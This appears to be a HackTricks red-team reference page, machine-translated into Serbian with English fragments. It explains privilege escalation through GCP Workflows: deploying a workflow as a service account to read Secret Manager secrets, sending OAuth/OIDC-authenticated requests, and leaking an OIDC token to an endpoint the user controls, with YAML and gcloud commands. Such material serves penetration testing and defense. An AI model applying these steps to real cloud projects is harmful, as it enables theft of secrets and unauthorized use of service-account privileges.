GCP - Workflows Privesc

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Workflows

Basic Information:

GCP - Workflows Enum

workflows.workflows.create, iam.serviceAccounts.ActAs, workflows.executions.create, (workflows.workflows.get, workflows.operations.get)

Koliko je meni poznato, nije moguće dobiti shell sa pristupom metadata endpoint-u koji sadrži kredencijale SA pridruženog Workflow-u. Međutim, moguće je zloupotrebiti permisije tog SA tako što ćete dodati akcije koje treba izvršiti unutar Workflow-a.

Moguće je pronaći dokumentaciju konektora. Na primer, ovo je page of the Secretmanager connector. U bočnoj traci moguće je naći nekoliko drugih konektora.

I ovde možete naći primer konektora koji ispisuje tajnu:

Workflow YAML konfiguracija za pristup tajnama ```yaml main: params: [input] steps: - access_string_secret: call: googleapis.secretmanager.v1.projects.secrets.versions.accessString args: secret_id: secret_name version: 1 project_id: project-id result: str_secret - returnOutput: return: "${str_secret}" ```

Ažuriranje iz komandne linije:

Raspoređivanje i izvršavanje workflow-ova iz komandne linije ```bash gcloud workflows deploy \ --service-account=email@SA \ --source=/path/to/config.yaml \ --location us-central1 ``` Ako dobijete grešku kao `ERROR: (gcloud.workflows.deploy) FAILED_PRECONDITION: Workflows service agent does not exist`, samo **sačekajte minut i pokušajte ponovo**.

Ako nemate pristup webu, moguće je pokrenuti i videti izvršavanje Workflow-a pomoću:

# Run execution with output
gcloud workflows run <workflow-name> --location us-central1

# Run execution without output
gcloud workflows execute <workflow-name> --location us-central1

# List executions
gcloud workflows executions list <workflow-name>

# Get execution info and output
gcloud workflows executions describe projects/<proj-number>/locations/<location>/workflows/<workflow-name>/executions/<execution-id>

Caution

Možete takođe proveriti izlaz prethodnih izvršenja da biste potražili osetljive informacije

Imajte na umu da čak i ako dobijete grešku kao što je PERMISSION_DENIED: Permission 'workflows.operations.get' denied on... zato što nemate tu dozvolu, workflow je ipak generisan.

Leak OIDC token (and OAuth?)

Prema to the docs moguće je koristiti workflow korake koji će poslati HTTP zahtev sa OAuth ili OIDC tokenom. Međutim, kao i u slučaju Cloud Scheduler, HTTP zahtev sa OAuth tokenom mora biti upućen hostu .googleapis.com.

Caution

Stoga, to je possible to leak the OIDC token by indicating a HTTP endpoint koji je pod kontrolom korisnika, ali da biste leak the OAuth token morali biste need a bypass za tu zaštitu. Međutim, i dalje možete contact any GCP api to perform actions on behalf the SA koristeći ili connectors ili HTTP zahteve sa OAuth tokenom.

Oauth

Workflow HTTP request with OAuth token ```yaml - step_A: call: http.post args: url: https://compute.googleapis.com/compute/v1/projects/myproject1234/zones/us-central1-b/instances/myvm001/stop auth: type: OAuth2 scopes: OAUTH_SCOPE ```
#### OIDC
Workflow HTTP zahtev sa OIDC tokenom ```yaml - step_A: call: http.get args: url: https://us-central1-project.cloudfunctions.net/functionA query: firstNumber: 4 secondNumber: 6 operation: sum auth: type: OIDC audience: OIDC_AUDIENCE ```
### `workflows.workflows.update` ...

Sa ovom dozvolom, umesto workflows.workflows.create, moguće je ažurirati već postojeći workflow i izvesti iste attacks.

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks